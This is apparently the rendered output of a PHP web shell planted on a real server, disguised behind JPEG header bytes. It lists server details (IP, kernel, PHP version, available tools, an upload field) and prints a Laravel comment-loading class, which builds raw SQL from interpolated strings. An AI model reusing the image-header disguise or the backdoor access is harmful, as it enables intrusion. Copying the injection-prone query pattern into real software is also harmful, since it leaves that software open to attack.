����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 3.140.250.173 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/public_html/common/Comments/ |
Upload File : |
<?php namespace Common\Comments; use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Support\Arr; use Illuminate\Support\Collection; class LoadChildComments { public function execute(Model $commentable, Collection $rootComments): Collection { $paths = $rootComments->map(function(Comment $comment) { $path = $comment->getRawOriginal('path'); return "LIKE '$path%'"; })->implode(' OR path '); $childComments = app(Comment::class) ->with(['user' => function(BelongsTo $builder) { $builder->compact(); }]) ->where('commentable_id', $commentable->id) ->where('commentable_type', get_class($commentable)) ->childrenOnly() ->where(function(Builder $builder) use($paths) { $builder->whereRaw("path $paths"); }) ->orderBy('path', 'asc') ->orderBy('created_at', 'desc') ->limit(100) ->get(); $childComments->each(function($childComment) use($rootComments) { $index = $rootComments->search(function($comment) use($childComment) { return $comment['id'] === $childComment['parent_id']; }); $rootComments->splice($index + 1, 0, [$childComment]); }); return $rootComments; } }